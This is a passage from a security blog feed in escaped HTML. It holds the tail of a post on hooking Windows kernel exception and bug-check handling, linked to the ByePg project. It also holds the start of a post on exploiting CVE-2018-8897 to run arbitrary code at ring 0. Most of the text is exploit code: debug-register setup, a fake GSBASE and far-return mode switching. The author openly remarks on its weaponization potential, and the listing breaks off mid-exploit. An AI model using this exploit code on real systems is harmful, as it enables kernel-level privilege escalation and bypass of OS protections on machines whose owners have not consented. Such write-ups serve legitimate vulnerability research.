&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;BugCheck&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ExceptionRecord&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BugCheckCtx&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Try handling exception
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Cb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ExceptionRecord&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;EXCEPTION_CONTINUE_EXECUTION&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Revert IRQL to match interrupted routine
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;_disable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;__writecr8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;BugCheckState&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cr8&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Restore context (These flags make the control flow a little simpler :wink:)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ContextFlags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CONTEXT_CONTROL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;CONTEXT_INTEGER&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;CONTEXT_SEGMENTS&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;CONTEXT_FLOATING_POINT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;RtlRestoreContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;__fastfail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Failed to handle, show blue screen
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HlCallback&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ProcessorIpiFrozen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;KiFreezeExecutionLock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;KeBugCheckEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;BugCheckCode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s give our previous test another try with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Initialize&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;HlCallback&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EXCEPTION_RECORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ExceptionRecord&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;LONG&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If it is due to #BP
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ExceptionRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ExceptionCode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;STATUS_BREAKPOINT&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Discarding #BP at RIP = %p, Processor ID: %d, IRQL: %d!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;KeGetCurrentProcessorIndex&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nf"&gt;GetProcessorState&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cr8&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Continue execution
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ContextRecord&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;EXCEPTION_CONTINUE_EXECUTION&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;EXCEPTION_EXECUTE_HANDLER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;KeIpiGenericCall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ULONG64&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__debugbreak&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0ull&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="images/2.webp" alt=""&gt;&lt;/p&gt;
&lt;p&gt;We are now officialy done. Weaponization potential of this is only limited by your creativity :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;All source code along with two examples can be found at:&lt;/strong&gt; &lt;a href="https://github.com/can1357/ByePg"&gt;https://github.com/can1357/ByePg&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Arbitrary Code Execution at Ring 0 using CVE-2018-8897</title><link>https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/</link><pubDate>Fri, 11 May 2018 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/</guid><description>&lt;p&gt;Just a few days ago, a new vulnerability allowing an unprivileged user to run #DB handler with user-mode GSBASE was found by Nick Peterson (&lt;a href="https://twitter.com/nickeverdox"&gt;@nickeverdox&lt;/a&gt;) and Nemanja Mulasmajic (&lt;a href="https://twitter.com/0xNemi"&gt;@0xNemi&lt;/a&gt;). At the end of the whitepaper they published on &lt;a href="http://triplefault.io"&gt;triplefault.io&lt;/a&gt;, they mentioned that they were able to load and execute unsigned kernel code, which got me interested in the challenge; and that&amp;rsquo;s exactly what I&amp;rsquo;m going to attempt doing in this post.&lt;/p&gt;
&lt;p&gt;Before starting, I would like to note that this exploit may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3. I debugged it by &amp;ldquo;simulating&amp;rdquo; this situation.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Final source code can be found at the bottom.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="0x0-setting-up-the-basics"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt; Setting Up the Basics&lt;/h2&gt;
&lt;p&gt;The fundamentals of this exploit is really simple unlike the exploitation of it. When stack segment is changed &amp;ndash;whether via MOV or POP&amp;ndash; until the next instruction completes interrupts are deferred. This is not a microcode bug but rather a feature added by Intel so that stack segment and stack pointer can get set at the same time.&lt;/p&gt;
&lt;p&gt;However, many OS vendors missed this detail, which lets us raise a #DB exception as if it comes from CPL0 from user-mode.&lt;/p&gt;
&lt;p&gt;We can create a deferred-to-CPL0 exception by setting debug registers in such a way that during the execution of stack-segment changing instruction a #DB will raise and calling &lt;em&gt;int 3&lt;/em&gt; right after. int 3 will jump to KiBreakpointTrap, and before the first instruction of KiBreakpointTrap executes, our #DB will be raised.&lt;/p&gt;
&lt;p&gt;As it is mentioned by the everdox and 0xNemi in the original whitepaper, this lets us run a kernel-mode exception handler with our user-mode GSBASE. Debug registers and XMM registers will also be persisted.&lt;/p&gt;
&lt;p&gt;All of this can be done in a few lines like shown below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;Windows.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;g_SavedSS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;_asm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ss&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;word&lt;/span&gt; &lt;span class="n"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;g_SavedSS&lt;/span&gt; &lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;ax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;CONTEXT&lt;/span&gt; &lt;span class="n"&gt;Ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Dr0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_SavedSS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Dr7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b11&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b11&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContextFlags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CONTEXT_DEBUG_REGISTERS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;SetThreadContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;HANDLE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;FakeGsBase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;...;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;_asm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;mov&lt;/span&gt; &lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FakeGsBase&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;Set&lt;/span&gt; &lt;span class="n"&gt;eax&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;fake&lt;/span&gt; &lt;span class="n"&gt;gs&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="mh"&gt;0x23&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="n"&gt;X64_End&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="mh"&gt;0x33&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;push&lt;/span&gt; &lt;span class="n"&gt;X64_Start&lt;/span&gt;
